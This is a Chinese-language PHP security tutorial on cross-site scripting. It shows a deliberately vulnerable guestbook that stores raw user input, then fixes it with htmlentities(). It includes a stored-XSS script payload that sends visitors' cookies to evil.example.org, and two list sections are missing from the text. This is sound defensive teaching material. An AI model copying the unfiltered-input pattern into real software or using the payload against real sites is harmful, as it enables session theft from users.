跨站脚本

在媒体的帮助下,跨站脚本(XSS)成为了大家关注的焦点,当然它是绝对应当关注的。XSS 是 web 应用中最常见的安全隐患,许多流行的开放源代码的 PHP 应用程序受到 XSS 隐患的困扰。

XSS 攻击发生在下面的情况下:

这是如何发生的?如果显示一个从外部获得的没有很好过滤的内容,则会产生 XSS 安全隐患。外来数据不仅限于客户端的数据。同时也包含显示在 web 邮件上的电子邮件、广告条、聚合 blog 以及类似的东西。任何从外部获得的,不在代码中的信息都是外部数据,这意味着多数数据都是外部数据。

考虑下面这个最简单的留言版:

        <form>
            <input type="text" name="message"><br />
                <input type="submit">
                </form>

                <?php

                if (isset($_GET['message']))
                {
                $fp = fopen('./messages.txt', 'a');
                fwrite($fp, "{$_GET['message']}<br />");
                fclose($fp);
                }

                readfile('./messages.txt');

                ?>
            

这个留言版在用户输入的内容后添加 <br /> 然后添加到一个文件,并显示当前文件内容。

设想如果用户输入了下面的信息:

                <script>
                    document.location = 'http://evil.example.org/steal_cookies.php?cookies=' + document.cookie
                </script>
            

下一个开启了 JavaScript 的用户访问这个留言版时将被重定向到 evil.example.org,同时任何关于当前网站的 cookie 信息都被包含在 URL 的表达式中。

当然,一个真正的攻击者不会缺少创造力或者 JavaScript 的知识。如果可能请提供一些更好的例子(更邪恶一点?)。

有什么可以做的?XSS 事实上非常容易防范。困难来自于允许外部输入的(如其他用户) HTML 或者客户端脚本不受限制的显示,但是关于这个的解决方案实现起来也不是非常困难。下面的方法可降低 XSS 的风险:

更加安全的留言版如下所示:

                <form>
                    <input type="text" name="message"><br />
                        <input type="submit">
                        </form>

                        <?php

                        if (isset($_GET['message']))
                        {
                        $message = htmlentities($_GET['message']);

                        $fp = fopen('./messages.txt', 'a');
                        fwrite($fp, "$message<br />");
                        fclose($fp);
                        }

                        readfile('./messages.txt');

                        ?>
                    

仅仅添加了 htmlentities()后,留言版变得更加安全。不应当认为这是彻底安全的,但是这是最简单的方法来提供适当级别的保护。当然,强烈建议遵循之前讨论的最好的降低 XSS 风险的方法。